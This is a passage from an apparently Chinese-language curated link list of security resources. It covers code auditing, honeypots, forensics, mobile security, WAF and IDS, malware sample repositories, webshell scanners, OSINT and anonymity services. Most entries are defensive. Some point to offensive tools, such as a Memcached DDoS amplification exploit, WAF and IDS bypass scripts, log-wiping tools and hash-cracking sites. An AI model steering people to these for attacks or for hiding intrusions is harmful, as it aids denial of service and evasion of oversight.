&lt;li&gt;https://github.com/securego/gosec Go 语言源码安全分析工具&lt;/li&gt;
&lt;li&gt;https://github.com/GoSSIP-SJTU/TripleDoggy 基于 clang 的 c/c++/object-c 源代码检测框架，有大量接口可以被调用&lt;/li&gt;
&lt;li&gt;https://github.com/ga0/pyprotect 给 python 代码加密，防止逆向&lt;/li&gt;
&lt;li&gt;https://github.com/presidentbeef/brakeman Ruby on Rails 应用静态代码分析&lt;/li&gt;
&lt;li&gt;https://github.com/python-security/pyt 用于检测 Python Web 应用程序中的安全漏洞的静态分析工具&lt;/li&gt;
&lt;li&gt;https://github.com/m4ll0k/WPSploit WordPress 插件代码安全审计&lt;/li&gt;
&lt;li&gt;https://github.com/elcodigok/wphardening 加强任何 WordPress 安装的安全&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head72&quot;&amp;gt; 大数据平台安全&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/shouc/BDA 针对 hadoop/spark/mysql 等大数据平台的审计与检测&lt;/li&gt;
&lt;li&gt;https://github.com/wavestone-cdt/hadoop-attack-library hadoop 测试方式和工具集&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head73&quot;&amp;gt; 蜜罐安全&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/paralax/awesome-honeypots 蜜罐开源技术收集&lt;/li&gt;
&lt;li&gt;https://github.com/threatstream/mhn 现代蜜网，集成了多种蜜罐的安装脚本，可以快速部署、使用，也能够快速的从节点收集数据&lt;/li&gt;
&lt;li&gt;https://github.com/dtag-dev-sec/tpotce T-POT，里面使用 docker 技术实现多个蜜罐组合，配合 ELK 进行研究与数据捕获&lt;/li&gt;
&lt;li&gt;https://www.freebuf.com/sectool/190840.html T-Pot 多蜜罐平台使用心法&lt;/li&gt;
&lt;li&gt;https://github.com/n3uz/t-pot-autoinstall 将 fork 的 T-POT 蜜罐的一键安装脚本替换为国内加速镜像&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head74&quot;&amp;gt;Web 蜜罐内网监测&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/micheloosterhof/cowrie py2，使用 ELK（ElasticSearch，LogStash，Kibana）进行数据分析，目前支持 ssh，telnet，sftp 等协议&lt;/li&gt;
&lt;li&gt;https://github.com/mushorg/snare py3，web 安全蜜罐，可克隆指定 Web 页面&lt;/li&gt;
&lt;li&gt;https://github.com/honeynet/beeswarm py，使用 agent 探针与蜜罐进行实时交互来引诱攻击者&lt;/li&gt;
&lt;li&gt;https://github.com/thinkst/opencanary PY2,SNMP\RDP\SAMBA 蜜罐&lt;/li&gt;
&lt;li&gt;https://github.com/p1r06u3/opencanary_web PY,TORNADO,内网低交互蜜罐。支持自动化安装，目前支持常见的 16 中协议，现为探针/蜜罐-管理的架构，可以考虑二次开发为探针-沙盒-管理的架构&lt;/li&gt;
&lt;li&gt;https://github.com/p1r06u3/opencanary_web&lt;/li&gt;
&lt;li&gt;https://github.com/Cymmetria 知名欺骗防御蜜罐组织。Struct、weblogic、telnet、Cisco ASA、Micros 等仿真蜜罐&lt;/li&gt;
&lt;li&gt;https://github.com/Cymmetria/honeycomb Cymmetria 公司开源蜜罐框架，低交互&lt;/li&gt;
&lt;li&gt;https://github.com/honeytrap/honeytrap 可扩展蜜罐框架，支持探针部署与高交互蜜罐&lt;/li&gt;
&lt;li&gt;https://gosecure.net/2018/12/19/rdp-man-in-the-middle-smile-youre-on-camera/ RDP MITM，打造可记录图像和按键的 RDP 蜜罐（https://github.com/gosecure/pyrdp）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head75&quot;&amp;gt; 摄像头蜜罐&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/alexbredo/honeypot-camera py，摄像头蜜罐。tornado 模拟 WEB 服务，图片代替视频，可以考虑后期多加点图片和按钮&lt;/li&gt;
&lt;li&gt;https://github.com/EasyDarwin/EasyIPCamera C，RTSP 服务器组件用以构建摄像头蜜罐&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head76&quot;&amp;gt; 工控蜜罐&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/sjhilt/GasPot 模拟油电燃气工控系统&lt;/li&gt;
&lt;li&gt;https://github.com/djformby/GRFICS IoT 工业仿真系统模拟框架，采用 MODBUS 协议对 PLC 虚拟机监视和控制&lt;/li&gt;
&lt;li&gt;https://github.com/RabitW/IoTSecurityNAT IoT 测试系统，方便快速接入各种设备，进行安全测试&lt;/li&gt;
&lt;li&gt;https://github.com/mushorg/conpot 针对 ICS/SCADA 的低交互工控蜜罐，模拟 Modbus 和 S7comm&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head77&quot;&amp;gt; 逆向相关&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.peerlyst.com/posts/resource-learning-how-to-reverse-malware-a-guide 恶意软件逆向指南和工具的集合&lt;/li&gt;
&lt;li&gt;https://github.com/ReFirmLabs/binwalk 二进制 pwn 文件自动化逆向，拥有多种插件&lt;/li&gt;
&lt;li&gt;https://github.com/angr/angr 一个具有动态符号执行和静态分析的二进制分析工具&lt;/li&gt;
&lt;li&gt;https://github.com/endgameinc/xori 自定义反汇编框架&lt;/li&gt;
&lt;li&gt;https://down.52pojie.cn/ 吾爱破解爱盘工具包&lt;/li&gt;
&lt;li&gt;https://github.com/blacknbunny/peanalyzer32 PE 文件分析和反汇编工具&lt;/li&gt;
&lt;li&gt;https://github.com/DominicBreuker/pspy 不用 root 权限就可以监控进程运行&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head78&quot;&amp;gt;CTF 相关&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://ctf-wiki.github.io/ctf-wiki/ CTFwiki，Misc/Crypto/Web/Assembly/Executable/Reverse/Pwn/Android/ICS&lt;/li&gt;
&lt;li&gt;https://github.com/adon90/pentest_compilation ctf 比赛与 OSCP 考试中常见的知识点和命令&lt;/li&gt;
&lt;li&gt;https://github.com/gabemarshall/microctfs 小型 ctf 镜像 docker&lt;/li&gt;
&lt;li&gt;https://github.com/giantbranch/pwn_deploy_chroot 部署多个 pwn 题到一个 docker 容器中&lt;/li&gt;
&lt;li&gt;https://github.com/facebook/fbctf CTF 比赛框架&lt;/li&gt;
&lt;li&gt;https://github.com/0Chencc/CTFCrackTools CTF 工具集成包&lt;/li&gt;
&lt;li&gt;https://github.com/guyoung/CaptfEncoder CTF 密码编码全家桶，还有小程序版本&lt;/li&gt;
&lt;li&gt;https://github.com/Gallopsled/pwntools pwn 类型，二进制利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/ChrisTheCoolHut/Zeratool pwn 类型，二进制利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/ChrisTheCoolHut/Rocket-Shot pwn，自动攻击脚本&lt;/li&gt;
&lt;li&gt;https://0xrick.github.io/lists/stego/ 隐写术工具集，Steganography - A list of useful tools and resources&lt;/li&gt;
&lt;li&gt;https://github.com/DominicBreuker/stego-toolkit 隐写工具包&lt;/li&gt;
&lt;li&gt;https://github.com/bugsafe/WeReport WeReport 报告助手&lt;/li&gt;
&lt;li&gt;https://github.com/PELock/CrackMeZ3S-CTF-CrackMe-Tutorial 为 CTF 比赛编写 CrackMe 软件&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head79&quot;&amp;gt; 计算机与移动设备取证调查&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.freebuf.com/articles/rookie/195107.html 记一次微信数据库解密过程。微信的加密数据库的解密密码是由“设备的 IMEI(MEID)+用户的 uin，进行 MD5，然后取其前 7 位小写字母”构成的&lt;/li&gt;
&lt;li&gt;https://www.audacityteam.org/ 音频文件和波形图处理工具&lt;/li&gt;
&lt;li&gt;http://www.sweetscape.com/010editor/ 识别不同文件格式（模板）的 16 进制编辑器，具有文件修复功能&lt;/li&gt;
&lt;li&gt;http://www.magicexif.com/ 将照片图像中的 exif 信息数据化&lt;/li&gt;
&lt;li&gt;http://mediaarea.net/MediaInfo 类似 exiftool 来查看内容区域和元数据信息&lt;/li&gt;
&lt;li&gt;https://www.sno.phy.queensu.ca/~phil/exiftool/ 检查图像文件的 exif 元数据&lt;/li&gt;
&lt;li&gt;https://www.gimp.org/ Gimp 提供了转换各类图像文件可视化数据的功能，还可以用于确认文件是否是一个图像文件&lt;/li&gt;
&lt;li&gt;https://github.com/volatilityfoundation/volatility windows 内存取证分析&lt;/li&gt;
&lt;li&gt;https://github.com/gleeda/memtriage Windows 内存取证分析&lt;/li&gt;
&lt;li&gt;https://github.com/SekoiaLab/Fastir_Collector Windows 取证/信息收集，不限于内存，注册表，文件信息等&lt;/li&gt;
&lt;li&gt;https://github.com/Viralmaniar/Remote-Desktop-Caching- RDP 信息复原，png 图片格式&lt;/li&gt;
&lt;li&gt;https://github.com/comaeio/LiveCloudKd C，针对 Hyper-V 的内存取证
-https://github.com/sevagas/swap_digger 针对 Linux swap 进行取证分析的工具&lt;/li&gt;
&lt;li&gt;http://extundelete.sourceforge.net/ linux 下的文件恢复&lt;/li&gt;
&lt;li&gt;https://github.com/viaforensics/android-forensics 安卓取证 App 和框架，可以对安卓设备内各种信息进行提取&lt;/li&gt;
&lt;li&gt;https://github.com/davidmcgrew/joy 用来捕获和分析内外网流量数据的包，主要用于进行网络调查、安全监控和取证&lt;/li&gt;
&lt;li&gt;https://github.com/USArmyResearchLab/Dshell 可扩展的网络取证分析框架，支持快速开发插件与解析网络数据包捕获&lt;/li&gt;
&lt;li&gt;http://qpdf.sourceforge.net/ 查看 pdf 文件并整理提取信息&lt;/li&gt;
&lt;li&gt;http://zipinfo.com/ 在无需提取的情况下列出了 zip 文件的内容信息&lt;/li&gt;
&lt;li&gt;http://f00l.de/pcapfix/ pcap 文件修复&lt;/li&gt;
&lt;li&gt;https://www.cgsecurity.org/wiki/TestDisk 磁盘分区修复&lt;/li&gt;
&lt;li&gt;https://github.com/decalage2/oletools py，用于分析 MS OLE2 文件（结构化存储，复合文件二进制格式）和 MS Office 文档&lt;/li&gt;
&lt;li&gt;https://www.xplico.org/download 内存取证&lt;/li&gt;
&lt;li&gt;https://github.com/google/bochspwn-reloaded Bochspwn Reloaded（内核信息泄漏检测）工具&lt;/li&gt;
&lt;li&gt;https://github.com/abrignoni/DFIR-SQL-Query-Repo 收集用于数据取证的 SQL 查询模板&lt;/li&gt;
&lt;li&gt;https://www.freebuf.com/news/193684.html iOS 取证技巧：在无损的情况下完整导出 SQLite 数据库&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head80&quot;&amp;gt; 移动安全&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/Brucetg/App_Security App 安全学习资源&lt;/li&gt;
&lt;li&gt;https://github.com/rovo89/Xposed 随心所欲修改安卓手机系统&lt;/li&gt;
&lt;li&gt;https://github.com/android-hacker/VirtualXposed 基于 VirtualApp 和 epic 在非 ROOT 环境下运行 Xposed 模块的实现&lt;/li&gt;
&lt;li&gt;https://github.com/MobSF/Mobile-Security-Framework-MobSF 移动安全审计框架。android、ios、win&lt;/li&gt;
&lt;li&gt;https://github.com/WooyunDota/DroidSSLUnpinning 安卓证书锁定解除的工具&lt;/li&gt;
&lt;li&gt;https://github.com/nccgroup/house 运行时手机 App 分析工具包, 带 Web GUI&lt;/li&gt;
&lt;li&gt;https://github.com/UltimateHackers/Diggy 从 Apk 文件中提取 URLs 的工具&lt;/li&gt;
&lt;li&gt;https://github.com/nettitude/scrounger iOS 和 Android 移动应用程序渗透测试框架&lt;/li&gt;
&lt;li&gt;https://github.com/XekriCorp/LeakVM 安卓应用安全测试框架&lt;/li&gt;
&lt;li&gt;https://github.com/zsdlove/ApkVulCheck 安卓漏洞扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/samyk/frisky 针对 ios/macOS 应用的嗅探/修改/逆向/注入等工具&lt;/li&gt;
&lt;li&gt;https://github.com/GeoSn0w/OsirisJailbreak12 IOS12 不完全越狱&lt;/li&gt;
&lt;li&gt;https://github.com/chaitin/passionfruit iOS 应用逆向与分析工具，可以大大加速 iOS 应用安全分析过程&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head81&quot;&amp;gt;防火墙规则、Waf、CDN 相关&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/baidu/openrasp RASP,Runtime Application Self-Protection，实时应用自我保护，更智能，针对每个语言定制&lt;/li&gt;
&lt;li&gt;https://github.com/snort3/snort3 snort 算是最出名的开源 ids 入侵检测&lt;/li&gt;
&lt;li&gt;https://github.com/chaitin/yanshi 长亭偃师（yanshi）,雷池（SafeLine）防火墙核心引擎使用到的代码生成工具&lt;/li&gt;
&lt;li&gt;https://github.com/SpiderLabs/ModSecurity C，跨平台 WAF engine for Apache, IIS and Nginx&lt;/li&gt;
&lt;li&gt;https://github.com/klaubert/waf-fle ModSecurity Web 控制台&lt;/li&gt;
&lt;li&gt;https://github.com/xsec-lab/x-waf 适用于中小企业的云 waf&lt;/li&gt;
&lt;li&gt;https://github.com/jx-sec/jxwaf 基于 openrestynginx+lua 开发，独创的业务逻辑防护引擎和机器学习引擎，解决传统 WAF 无法对业务安全进行防护的痛点&lt;/li&gt;
&lt;li&gt;https://github.com/loveshell/ngx_lua_waf 基于 lua-nginx-moduleopenresty 的 web 应用防火墙&lt;/li&gt;
&lt;li&gt;https://github.com/Janusec/janusec 基于 Golang 开发的应用安全网关，具备 WAF、CC 攻击防御、证书私钥加密、负载均衡、统一 Web 化管理等功能。&lt;/li&gt;
&lt;li&gt;https://github.com/SpiderLabs/owasp-modsecurity-crs a set of generic attack detection rules for use with ModSecurity or compatible web application firewalls&lt;/li&gt;
&lt;li&gt;https://github.com/kirillwow/ids_bypass IDS Bypass 脚本&lt;/li&gt;
&lt;li&gt;https://github.com/milo2012/ipv4bypass 利用 ipV6 地址绕过 waf&lt;/li&gt;
&lt;li&gt;https://github.com/3xp10it/bypass_waf 防火墙绕过脚本&lt;/li&gt;
&lt;li&gt;https://github.com/m0rtem/CloudFail 针对 Cloudfail,查找位于 CDN 后面网站的真实 IP&lt;/li&gt;
&lt;li&gt;https://github.com/Nitr4x/whichCDN CDN 识别、检测&lt;/li&gt;
&lt;li&gt;https://github.com/3xp10it/xcdn 尝试找出 cdn 背后的真实 ip，3xp10it.github.io 博客&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head82&quot;&amp;gt; 入侵检测&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/Neo23x0/Loki 一款 APT 入侵痕迹扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/ossec/ossec-hids 开源 hids 堡垒机&lt;/li&gt;
&lt;li&gt;https://github.com/grayddq/HIDS hids 基于主机型入侵检测系统，一个人的安全部&lt;/li&gt;
&lt;li&gt;https://github.com/ysrc/yulong-hids 驭龙 HIDS 是一款由 YSRC 开源的入侵检测系统&lt;/li&gt;
&lt;li&gt;https://github.com/DianrongSecurity/AgentSmith-HIDS 点融开源 HIDS，开源部分为主机情报收集工具&lt;/li&gt;
&lt;li&gt;https://github.com/Tencent/HaboMalHunter 哈勃分析系统，linux 系统病毒分析及安全测试&lt;/li&gt;
&lt;li&gt;https://github.com/JPCERTCC/LogonTracer 根据 win 登陆记录日志来分析并用图形化展示恶意登陆行为&lt;/li&gt;
&lt;li&gt;https://github.com/anwi-wips/anwi 无线 IDS, 基于低成本的 Wi-Fi 模块(ESP8266)&lt;/li&gt;
&lt;li&gt;https://github.com/Security-Onion-Solutions/security-onion 基于 ubuntu 用于入侵检测，网络安全监控和日志管理，采用分布式架构&lt;/li&gt;
&lt;li&gt;https://github.com/jpcertcc/sysmonsearch 将 Sysmon 的日志结果可视化&lt;/li&gt;
&lt;li&gt;http://m.imooc.com/article/21236 快速自检电脑是否被黑客入侵过(Windows 版)&lt;/li&gt;
&lt;li&gt;http://www.freebuf.com/articles/system/157597.html 快速自检电脑是否被黑客入侵过（Linux 版）&lt;/li&gt;
&lt;li&gt;http://www.freebuf.com/rookie/179638.html 服务器入侵溯源小技巧整理&lt;/li&gt;
&lt;li&gt;https://github.com/zhanghaoyil/Hawk-I 基于无监督机器学习算法从 Web 日志中自动提取攻击 Payload&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head83&quot;&amp;gt; 恶意文件测与样本分析&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/chenerlich/FCL 恶意代码使用的命令行收集&lt;/li&gt;
&lt;li&gt;https://paper.seebug.org/421 常见软件合集与恶意软件分析&lt;/li&gt;
&lt;li&gt;https://github.com/sapphirex00/Threat-Hunting apt 恶意软件样本&lt;/li&gt;
&lt;li&gt;https://www.malware-traffic-analysis.net/ 恶意软件样本&lt;/li&gt;
&lt;li&gt;http://dasmalwerk.eu/ 恶意软件样本&lt;/li&gt;
&lt;li&gt;https://github.com/ytisf/theZoo 恶意软件样本&lt;/li&gt;
&lt;li&gt;https://github.com/mstfknn/malware-sample-library 恶意软件样本&lt;/li&gt;
&lt;li&gt;http://99.248.235.4/Library/ 恶意软件样本库。ladder&lt;/li&gt;
&lt;li&gt;https://github.com/robbyFux/Ragpicker 恶意软件信息爬取汇总分析&lt;/li&gt;
&lt;li&gt;https://github.com/phage-nz/ph0neutria 恶意软件信息爬取汇总分析&lt;/li&gt;
&lt;li&gt;https://github.com/JR0driguezB/malware_configs 常见恶意配置文件&lt;/li&gt;
&lt;li&gt;https://github.com/sfaci/masc 扫描网站中的恶意软件, 以及其他一些网站维护功能&lt;/li&gt;
&lt;li&gt;https://github.com/Neo23x0/munin 依据文件 Hash 从各种在线恶意软件扫描服务提取信息的工具&lt;/li&gt;
&lt;li&gt;https://github.com/1lastBr3ath/drmine 自动化检测网页是否包含挖矿脚本的工具&lt;/li&gt;
&lt;li&gt;https://github.com/KasperskyLab/klara 卡巴斯基开源基于 Yara 的分布式恶意软件扫描系统,&lt;/li&gt;
&lt;li&gt;https://github.com/botherder/kraken go，实现的 Yara 恶意软件扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/alexandreborges/malwoverview simple，将恶意文件进行快速分类&lt;/li&gt;
&lt;li&gt;https://github.com/joxeankoret/pigaios 直接对比源代码与编译的二进制文件&lt;/li&gt;
&lt;li&gt;https://github.com/viper-framework py2，二进制分析和管理框架，对恶意文件进行分析&lt;/li&gt;
&lt;li&gt;https://github.com/netxfly/sec_check 通过信息采集（账户、连接、端口等）与 yara 扫描进行安全检测&lt;/li&gt;
&lt;li&gt;https://github.com/nao-sec/tknk_scanner yara 引擎为基础的恶意软件识别框架&lt;/li&gt;
&lt;li&gt;https://github.com/felixweyne/ProcessSpawnControl powershell,对恶意程序进行检测与监控&lt;/li&gt;
&lt;li&gt;https://github.com/Aurore54F/JaSt 使用语法检测恶意/混淆的 JS 文件，https://www.blackhoodie.re/assets/archive/JaSt_blackhoodie.pdf&lt;/li&gt;
&lt;li&gt;http://edr.sangfor.com.cn/ win，Linux 下恶意软件、webshell 检测查杀工具&lt;/li&gt;
&lt;li&gt;http://www.clamav.net/downloads 病毒查杀软件&lt;/li&gt;
&lt;li&gt;http://www.chkrootkit.org/ rootkit 检测工具&lt;/li&gt;
&lt;li&gt;http://rootkit.nl/projects/rootkit_hunter.html rootkit 检测工具&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head84&quot;&amp;gt;恶意文件检测之 Webshell 查杀扫描&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://www.safedog.cn/ 安全狗 web 防火墙&lt;/li&gt;
&lt;li&gt;http://d99net.net/ win，啊 D 出品 D 盾 _ 防火墙，包含 waf 与 webshel 检测功能&lt;/li&gt;
&lt;li&gt;https://github.com/he1m4n6a/findWebshell py，webshell 检查工具，可后期添加后门指纹，很强大&lt;/li&gt;
&lt;li&gt;https://github.com/ym2011/ScanBackdoor 一款简洁的 Webshell 扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/erevus-cn/scan_webshell webshell 扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/yassineaddi/BackdoorMan 可对指定目录进行 php webshell 检测&lt;/li&gt;
&lt;li&gt;https://github.com/nbs-system/php-malware-finder 一款高效率 PHP-webshell 扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/emposha/PHP-Shell-Detector 测试效率高达 99%的 webshell 检测工具&lt;/li&gt;
&lt;li&gt;https://github.com/emposha/Shell-Detector Webshell 扫描工具，支持 php/perl/asp/aspx webshell 扫描&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head85&quot;&amp;gt;压力测试与 DDOS 相关&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/ywjt/Dshield DDOS 防护&lt;/li&gt;
&lt;li&gt;https://github.com/NewEraCracker/LOIC/ 一个为 Windows 设计的网络压力测试工具现已支持 Mac OS——译者注&lt;/li&gt;
&lt;li&gt;https://github.com/649/Memcrashed-DDoS-Exploit 利用 Memcached 服务器的 DDoS 攻击工具, 向 Memcached 服务器发送伪造的 UDP 数据包使其向攻击目标回复大量数据包&lt;/li&gt;
&lt;li&gt;https://github.com/jseidl/GoldenEye py，DOS 测试&lt;/li&gt;
&lt;li&gt;https://github.com/mschwager/dhcpwn DHCP IP 资源耗尽攻击工具&lt;/li&gt;
&lt;li&gt;https://github.com/Microsoft/Ethr GO,跨平台,TCP, UDP, HTTP, HTTPS 压力测试工具&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head86&quot;&amp;gt;匿名信息保护洋葱路由 TorBrowser&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/leitbogioro/Fuck_Aliyun 关闭阿里云监控服务&lt;/li&gt;
&lt;li&gt;https://github.com/Nummer/Destroy-Windows-10-Spying DWS 关闭 windows 监控服务&lt;/li&gt;
&lt;li&gt;https://github.com/Rizer0/Log-killer 日志清除，Windows/Linux 服务器中的所有&lt;/li&gt;
&lt;li&gt;https://github.com/360-A-Team/EventCleaner 日志擦除工具&lt;/li&gt;
&lt;li&gt;https://github.com/s-rah/onionscan darkweb 暗网爬虫&lt;/li&gt;
&lt;li&gt;https://github.com/globaleaks/Tor2web darkweb 暗网代理服务器，将 onion 的服务变为普通的服务&lt;/li&gt;
&lt;li&gt;https://github.com/milesrichardson/docker-onion-nmap 使用 nmap 扫描 Tor 网络上隐藏的&quot;onion&quot;服务&lt;/li&gt;
&lt;li&gt;https://github.com/GouveaHeitor/nipe 一个使所有流量通过 Tor 网络发出的脚本&lt;/li&gt;
&lt;li&gt;https://github.com/trimstray/multitor 启用多个 tor 通道转发流量，并设置负载均衡&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head87&quot;&amp;gt; 爬虫相关&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/alphardex/looter 轻量型爬虫框架，类比 Scrapy&lt;/li&gt;
&lt;li&gt;https://github.com/luyishisi/Anti-Anti-Spider 过反爬虫&lt;/li&gt;
&lt;li&gt;https://github.com/xchaoinfo/fuck-login 模拟登录一些常见的网站&lt;/li&gt;
&lt;li&gt;https://github.com/Maicius/InterestingCrawler 抓取 QQ 空间说说内容并进行分析&lt;/li&gt;
&lt;li&gt;https://github.com/xjr7670/QQzone_crawler QQ 空间动态爬虫，利用 cookie 登录获取所有可访问好友空间的动态保存到本地&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head88&quot;&amp;gt; 在线自服务与工具&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/Kickball/awesome-selfhosted awesome 系列之自服务应用&lt;/li&gt;
&lt;li&gt;https://github.com/littlecodersh/itchat 微信个人号接口、微信机器人及命令行微信&lt;/li&gt;
&lt;li&gt;https://github.com/sym233/core-values-encoder js,社会主义核心价值观加密，https://sym233.github.io/core-values-encoder/&lt;/li&gt;
&lt;li&gt;https://github.com/valentinxxx/nginxconfig.io/ 在线 nginx 配置文件生成，demo 网址 https://nginxconfig.io&lt;/li&gt;
&lt;li&gt;https://github.com/asciimoo/searx 搭建一个自己的搜索引擎,DEMO 网址 https://searx.me/&lt;/li&gt;
&lt;li&gt;http://sc.ftqq.com/3.version server 酱微信通知&lt;/li&gt;
&lt;li&gt;https://osint.link Open Source Intelligence (OSINT) Tools &amp;amp; Resources&lt;/li&gt;
&lt;li&gt;https://www.wolframalpha.com 根据问题直接给出答案的网站&lt;/li&gt;
&lt;li&gt;https://shodan.io 互联网感知引擎&lt;/li&gt;
&lt;li&gt;https://fofa.so 白帽汇 NOSEC&lt;/li&gt;
&lt;li&gt;https://www.oshadan.com 傻蛋联网设备搜索 _ 湖南安数网络&lt;/li&gt;
&lt;li&gt;https://zoomeye.org 知道创宇互联网感知引擎&lt;/li&gt;
&lt;li&gt;https://sms.cngrok.com/receiving-sms 收码接码&lt;/li&gt;
&lt;li&gt;https://www.pdflibr.com/ 收码接码&lt;/li&gt;
&lt;li&gt;https://www.fakenamegenerator.com 多国身份信息模拟器&lt;/li&gt;
&lt;li&gt;https://recruitin.net Easily use Google to search profiles on LinkedIn&lt;/li&gt;
&lt;li&gt;https://www.truthfinder.com 美国公民信息查询&lt;/li&gt;
&lt;li&gt;https://verify-email.org 邮件真实性验证&lt;/li&gt;
&lt;li&gt;https://safeweb.norton.com 诺顿网站安全检测&lt;/li&gt;
&lt;li&gt;http://www.vuln.cn/tools/ftp 在线 FTP 登录&lt;/li&gt;
&lt;li&gt;http://www.link114.cn/title/ 批量查询网站标题&lt;/li&gt;
&lt;li&gt;https://www.whatweb.net/ 在线 web 指纹识别&lt;/li&gt;
&lt;li&gt;https://hackertarget.com/ip-tools/ 提供 api，ip 相关工具、在线扫描器&lt;/li&gt;
&lt;li&gt;http://www.webscan.cc/ 同 IP 网站查询,C 段查询,IP 反查域名,C 段旁注,旁注工具&lt;/li&gt;
&lt;li&gt;https://www.phpinfo.me/bing.php 在线旁站查询|C 段查询|必应接口 C 段查询&lt;/li&gt;
&lt;li&gt;https://www.phpinfo.me/domain/ 在线子域名爆破&lt;/li&gt;
&lt;li&gt;https://www.dnsdb.io DNS 查询,子域名查询,IP 查询,A 记录查询,域名解析,&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head89&quot;&amp;gt; 旁站查询&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://dnsdumpster.com/ dns recon and research, find and lookup dns records&lt;/li&gt;
&lt;li&gt;http://ip.chaxun.la/ ip 反查域名---查询啦&lt;/li&gt;
&lt;li&gt;https://habo.qq.com 在线恶意文件检测&lt;/li&gt;
&lt;li&gt;https://www.virustotal.com 恶意软件检测&lt;/li&gt;
&lt;li&gt;http://r.virscan.org/ 恶意软件检测&lt;/li&gt;
&lt;li&gt;https://www.appscan.io 移动软件在线检测&lt;/li&gt;
&lt;li&gt;https://www.nomoreransom.org 常见勒索软件分析还原&lt;/li&gt;
&lt;li&gt;https://www.cmd5.com/ HASH 密码在线破解&lt;/li&gt;
&lt;li&gt;https://www.onlinehashcrack.com 密码哈希在线破解，邮件通知&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head90&quot;&amp;gt; 隐私匿名加密&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.lshack.cn/118/ 在线接收验证码/邮箱/粘贴板/文件传输大集合。&lt;/li&gt;
&lt;li&gt;http://bccto.me 一次性邮箱&lt;/li&gt;
&lt;li&gt;https://www.guerrillamail.com 一次性邮箱&lt;/li&gt;
&lt;li&gt;http://24mail.chacuo.net/ 一次性邮箱&lt;/li&gt;
&lt;li&gt;http://www.yopmail.com 一次性邮箱&lt;/li&gt;
&lt;li&gt;https://yandex.com/ 非手机邮箱&lt;/li&gt;
&lt;li&gt;https://mail.ru/ 非手机邮箱&lt;/li&gt;
&lt;li&gt;https://mail.protonmail.com/login 非手机邮箱&lt;/li&gt;
&lt;li&gt;https://github.com/walkor/workerman-chat php，在线聊天室，可扩展&lt;/li&gt;
&lt;li&gt;https://github.com/hack-chat https://hack.chat/?your-channel js,在线聊天，问号后面跟你的房间名&lt;/li&gt;
&lt;li&gt;https://github.com/akaxincom/openzaly java,聊天室，Akaxin 为客户端闭源&lt;/li&gt;
&lt;li&gt;https://github.com/RocketChat/Rocket.Chat js,在线团队聊天服务器，https://rocket.chat/install&lt;/li&gt;
&lt;li&gt;https://telegram.org&lt;/li&gt;
&lt;li&gt;https://www.whatsapp.com&lt;/li&gt;
&lt;li&gt;https://wire.com/en&lt;/li&gt;
&lt;li&gt;https://signal.org&lt;/li&gt;
